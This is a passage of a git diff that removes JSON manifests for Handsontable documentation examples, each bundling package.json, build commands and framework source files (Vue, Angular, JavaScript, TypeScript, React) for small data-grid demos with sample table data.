build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example6\");","/src/App.vue":"\n\n"},"docsPath":"guides/getting-started/binding-to-data/vue/example6.vue","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example6","exampleTitle":"Array of objects with custom data schema","docPermalink":"/binding-to-data","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__vue__example7.vue.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__vue__example7.vue.json deleted file mode 100644 index 50f50357..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__vue__example7.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Getting Started ▸ Binding to data · Function data source and schema · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example7\");","/src/App.vue":"\n\n"},"docsPath":"guides/getting-started/binding-to-data/vue/example7.vue","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example7","exampleTitle":"Function data source and schema","docPermalink":"/binding-to-data","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__angular__example2.ts.json deleted file mode 100644 index c9be9b0d..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__angular__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Getting Started ▸ Configuration options · Example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport type Handsontable from 'handsontable/base';\n\n@Component({\n selector: 'example2-configuration-options',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data: Handsontable.CellValue[][] = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5'],\n ];\n\n readonly gridSettings: GridSettings = {\n autoWrapRow: true,\n autoWrapCol: true,\n readOnly: false,\n width: 'auto',\n height: 'auto',\n rowHeaders: true,\n colHeaders: true,\n columns: (index: number) => ({\n readOnly: index === 2 || index === 8,\n })\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/getting-started/configuration-options/angular/example2.ts","breadcrumb":["Getting Started","Configuration options"],"guide":"guides/getting-started/configuration-options/configuration-options.md","guideTitle":"Configuration options","exampleId":"example2","exampleTitle":"Example","docPermalink":"/configuration-options","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__javascript__example2.js.json deleted file mode 100644 index 9d644e77..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__javascript__example2.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Getting Started ▸ Configuration options · Example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2');\nconst data = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5'],\n];\n\nconst hot = new Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data,\n width: 'auto',\n height: 'auto',\n rowHeaders: true,\n colHeaders: true,\n readOnly: false,\n columns: (index) => {\n return {\n readOnly: index === 2 || index === 8,\n };\n },\n autoWrapRow: true,\n autoWrapCol: true,\n});\n\n// checks a cell's options\n// returns `false`\nhot.getCellMeta(0, 0).readOnly;\n// returns `true`\nhot.getCellMeta(0, 2).readOnly;","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/getting-started/configuration-options/javascript/example2.js","breadcrumb":["Getting Started","Configuration options"],"guide":"guides/getting-started/configuration-options/configuration-options.md","guideTitle":"Configuration options","exampleId":"example2","exampleTitle":"Example","docPermalink":"/configuration-options","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__javascript__example2.ts.json deleted file mode 100644 index 046abe53..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__javascript__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Getting Started ▸ Configuration options · Example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nconst data: Handsontable.CellValue[][] = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5'],\n];\n\nconst hot = new Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data,\n width: 'auto',\n height: 'auto',\n rowHeaders: true,\n colHeaders: true,\n readOnly: false,\n columns: (index: number) => {\n return {\n readOnly: index === 2 || index === 8,\n };\n },\n autoWrapRow: true,\n autoWrapCol: true,\n});\n\n// checks a cell's options\n// returns `false`\nhot.getCellMeta(0, 0).readOnly;\n\n// returns `true`\nhot.getCellMeta(0, 2).readOnly;","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/getting-started/configuration-options/javascript/example2.ts","breadcrumb":["Getting Started","Configuration options"],"guide":"guides/getting-started/configuration-options/configuration-options.md","guideTitle":"Configuration options","exampleId":"example2","exampleTitle":"Example","docPermalink":"/configuration-options","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__react__example2.tsx.json deleted file mode 100644 index 51c0c610..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__react__example2.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Getting Started ▸ Configuration options · Example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { FC } from 'react';\nimport { HotTable, HotTableProps } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport Handsontable from 'handsontable/base';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent: FC = () => {\n const data: Handsontable.CellValue[][] = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5'],\n ];\n\n return (\n ({\n readOnly: index === 2 || index === 8,\n })}\n />\n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/getting-started/configuration-options/react/example2.tsx","breadcrumb":["Getting Started","Configuration options"],"guide":"guides/getting-started/configuration-options/configuration-options.md","guideTitle":"Configuration options","exampleId":"example2","exampleTitle":"Example","docPermalink":"/configuration-options","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__vue__example2.vue.json deleted file mode 100644 index 43e16440..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__vue__example2.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Getting Started ▸ Configuration options · Example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/getting-started/configuration-options/vue/example2.vue","breadcrumb":["Getting Started","Configuration options"],"guide":"guides/getting-started/configuration-options/configuration-options.md","guideTitle":"Configuration options","exampleId":"example2","exampleTitle":"Example","docPermalink":"/configuration-options","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__demo__javascript__example.js.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__demo__javascript__example.js.json deleted file mode 100644 index 5fd930f8..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__demo__javascript__example.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Getting Started ▸ Demo · example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n// constants.js\nexport const data = [\n [false, 'Tagcat', 'United Kingdom', 'Classic Vest', '2025-10-11', '01-2331942', true, '172', 2, 2],\n [true, 'Zoomzone', 'Indonesia', 'Cycling Cap', '2025-05-03', '88-2768633', true, '188', 6, 2],\n [true, 'Meeveo', 'United States', 'Full-Finger Gloves', '2025-03-27', '51-6775945', true, '162', 1, 3],\n [false, 'Buzzdog', 'Philippines', 'HL Mountain Frame', '2025-08-29', '44-4028109', true, '133', 7, 1],\n [true, 'Katz', 'India', 'Half-Finger Gloves', '2025-10-02', '08-2758492', true, '87', 1, 3],\n [false, 'Jaxbean', 'China', 'HL Road Frame', '2025-09-28', '84-3557705', false, '26', 8, 1],\n [false, 'Wikido', 'Brazil', 'HL Touring Frame', '2025-06-24', '20-9397637', false, '110', 4, 1],\n [false, 'Browsedrive', 'United States', 'LL Mountain Frame', '2025-03-13', '36-0079556', true, '50', 4, 4],\n [false, 'Twinder', 'United Kingdom', 'LL Road Frame', '2025-04-06', '41-1489542', false, '160', 6, 1],\n [false, 'Jetwire', 'China', 'LL Touring Frame', '2025-02-01', '37-1531629', true, '30', 8, 5],\n [false, 'Chatterpoint', 'China', 'Long-Sleeve Logo Jersey', '2025-07-14', '25-5083429', true, '39', 7, 2],\n [false, 'Twinder', 'Egypt', \"Men's Bib-Shorts\", '2025-08-31', '04-4281278', false, '96', 6, 1],\n [false, 'Midel', 'United States', \"Men's Sports Shorts\", '2025-06-27', '55-1711908', true, '108', 10, 3],\n [false, 'Yodo', 'India', 'ML Mountain Frame', '2025-03-16', '58-8360815', false, '46', 1, 1],\n [false, 'Camido', 'Russia', 'ML Mountain Frame-W', '2025-09-13', '10-3786104', true, '97', 8, 3],\n [false, 'Eire', 'Thailand', 'ML Road Frame', '2025-04-10', '45-1186054', true, '161', 1, 4],\n [false, 'Vinte', 'United Kingdom', 'ML Road Frame-W', '2025-01-22', '62-6202742', true, '58', 4, 3],\n [false, 'Twitterlist', 'China', 'Mountain Bike Socks', '2025-11-09', '88-9646223', true, '92', 8, 3],\n [false, 'Eidel', 'Bangladesh', 'Mountain-100', '2025-09-19', '45-5588112', true, '5', 6, 5],\n [false, 'Trunyx', 'Nigeria', 'Mountain-200', '2025-03-09', '66-6271819', true, '158', 4, 1],\n [false, 'Katz', 'Turkey', 'Mountain-300', '2025-03-05', '38-9245023', false, '121', 5, 4],\n [false, 'Kaymbo', 'United States', 'Mountain-400-W', '2025-12-24', '44-5916927', false, '61', 5, 4],\n [false, 'Ozu', 'Pakistan', 'Mountain-500', '2025-06-13', '31-5449914', true, '155', 2, 2],\n [false, 'Rhynyx', 'India', 'Racing Socks', '2025-12-05', '19-9413869', true, '162', 2, 4],\n [false, 'Flashset', 'Iran', 'Road-150', '2025-12-14', '25-9807605', false, '46', 7, 1],\n [false, 'Yata', 'Congo (Kinshasa)', 'Road-250', '2025-06-12', '74-4291983', true, '47', 4, 4],\n [false, 'Brainlounge', 'Vietnam', 'Road-350-W', '2025-03-10', '83-0980643', true, '104', 2, 3],\n [false, 'Babblestorm', 'United States', 'Road-450', '2025-10-10', '19-2878430', true, '101', 6, 4],\n [false, 'Youspan', 'Brazil', 'Road-550-W', '2025-12-16', '19-1838230', true, '150', 10, 3],\n [false, 'Nlounge', 'China', 'Road-650', '2025-10-31', '32-2267938', true, '42', 4, 2],\n [false, 'Twinte', 'India', 'Road-750', '2025-08-17', '79-2821972', true, '144', 9, 3],\n [false, 'Oyonder', 'United Kingdom', 'Short-Sleeve Classic Jersey', '2025-12-04', '46-6597557', true, '195', 4, 1],\n [false, 'Gigabox', 'Pakistan', 'Sport-100', '2025-02-03', '15-1793960', true, '199', 4, 4],\n [false, 'Livetube', 'France', 'Touring-1000', '2025-05-16', '86-0811003', true, '110', 4, 5],\n [false, 'Voomm', 'United Kingdom', 'Touring-2000', '2025-07-15', '95-3068680', true, '51', 4, 4],\n [false, 'Voonyx', 'China', 'Touring-3000', '2025-11-27', '35-3085360', false, '69', 2, 5],\n [false, 'Zoombeat', 'United States', \"Women's Mountain Shorts\", '2025-11-03', '56-8673088', false, '53', 2, 3],\n [false, 'Roomm', 'China', \"Women's Tights\", '2025-03-16', '76-0085918', true, '168', 1, 1],\n [false, 'Leenti', 'China', 'Mountain-400', '2025-05-16', '03-0893276', false, '58', 1, 4],\n [false, 'Jetpulse', 'United States', 'Road-550', '2025-02-08', '79-9013306', true, '152', 9, 3],\n [false, 'Katz', 'Peru', 'Road-350', '2025-02-15', '55-7799920', true, '66', 4, 2],\n [false, 'Cogidoo', 'India', 'LL Mountain Front Wheel', '2025-06-04', '07-0881122', false, '112', 9, 2],\n [false, 'Divavu', 'Colombia', 'Touring Rear Wheel', '2025-02-24', '58-6157387', true, '50', 10, 4],\n [false, 'Mydeo', 'China', 'Touring Front Wheel', '2025-12-07', '12-2810010', false, '31', 3, 5],\n [false, 'Browsebug', 'Japan', 'ML Mountain Front Wheel', '2025-01-14', '64-9249984', true, '132', 5, 5],\n [false, 'Layo', 'China', 'HL Mountain Front Wheel', '2025-04-24', '45-0739652', true, '45', 1, 5],\n [false, 'Snaptags', 'United Kingdom', 'LL Touring Handlebars', '2025-08-06', '09-5712761', true, '197', 4, 2],\n [false, 'Cogilith', 'China', 'HL Touring Handlebars', '2025-05-31', '01-7345008', true, '190', 4, 3],\n [false, 'Reallinks', 'United Kingdom', 'LL Road Front Wheel', '2025-05-14', '62-1065350', true, '184', 3, 4],\n [false, 'Quaxo', 'United States', 'ML Road Front Wheel', '2025-03-23', '44-7241323', true, '169', 3, 4],\n [false, 'Devify', 'China', 'HL Road Front Wheel', '2025-12-12', '52-0295699', false, '152', 4, 4],\n [false, 'Youopia', 'Angola', 'LL Mountain Handlebars', '2025-04-01', '52-2650922', false, '182', 6, 4],\n [false, 'Ainyx', 'China', 'Touring Pedal', '2025-02-27', '48-3618525', true, '141', 6, 1],\n [false, 'Browsetype', 'Malaysia', 'ML Mountain Handlebars', '2025-04-28', '51-8893923', true, '169', 7, 1],\n [false, 'Muxo', 'China', 'HL Mountain Handlebars', '2025-08-22', '68-5911361', false, '39', 7, 1],\n [false, 'Bubbletube', 'China', 'LL Road Handlebars', '2025-10-04', '41-5880042', true, '71', 8, 3],\n [false, 'Fadeo', 'Vietnam', 'ML Road Handlebars', '2025-04-23', '90-5913983', true, '148', 10, 3],\n [false, 'Yadel', 'United Kingdom', 'HL Road Handlebars', '2025-04-18', '92-0960699', true, '116', 8, 1],\n [false, 'Blognation', 'China', 'LL Headset', '2025-01-10', '06-9493898', true, '96', 10, 1],\n [false, 'Devpoint', 'China', 'ML Headset', '2025-12-25', '69-5878565', true, '35', 4, 2],\n [false, 'Aibox', 'United Kingdom', 'HL Headset', '2025-03-18', '13-1133017', true, '16', 8, 2],\n [false, 'Brightdog', 'China', 'LL Mountain Pedal', '2025-09-11', '39-6530433', true, '194', 2, 5],\n [false, 'Gabcube', 'Nigeria', 'ML Mountain Pedal', '2025-04-22', '96-6860388', true, '24', 1, 3],\n [false, 'Muxo', 'China', 'HL Mountain Pedal', '2025-06-05', '30-0356137', true, '170', 4, 4],\n [false, 'Tambee', 'China', 'ML Touring Seat/Saddle', '2025-02-22', '93-9058255', true, '184', 9, 5],\n [false, 'Cogilith', 'India', 'LL Touring Seat/Saddle', '2025-04-06', '82-9268909', false, '153', 10, 4],\n [false, 'Dynabox', 'Hong Kong', 'HL Touring Seat/Saddle', '2025-01-10', '20-6913815', false, '88', 10, 1],\n [false, 'Shuffledrive', 'Sudan', 'LL Road Pedal', '2025-09-16', '08-8238817', true, '57', 9, 2],\n [false, 'Fivechat', 'China', 'ML Road Pedal', '2025-08-26', '44-7370350', false, '62', 4, 1],\n [false, 'Meembee', 'United States', 'HL Road Pedal', '2025-12-27', '01-3525949', true, '123', 2, 4],\n [false, 'Dynazzy', 'United Kingdom', 'LL Mountain Seat/Saddle 1', '2025-12-15', '04-2414623', true, '77', 10, 5],\n [false, 'Eare', 'China', 'ML Mountain Seat/Saddle 1', '2025-04-04', '15-1917509', false, '199', 9, 4],\n [false, 'Yozio', 'China', 'HL Mountain Seat/Saddle 1', '2025-03-15', '06-2526845', true, '149', 8, 2],\n [false, 'Quinu', \"Xi'an\", '425-777-7829', '2025-02-22', '83-1713558', false, '191', 9, 5],\n [false, 'Jazzy', 'United Kingdom', 'ML Road 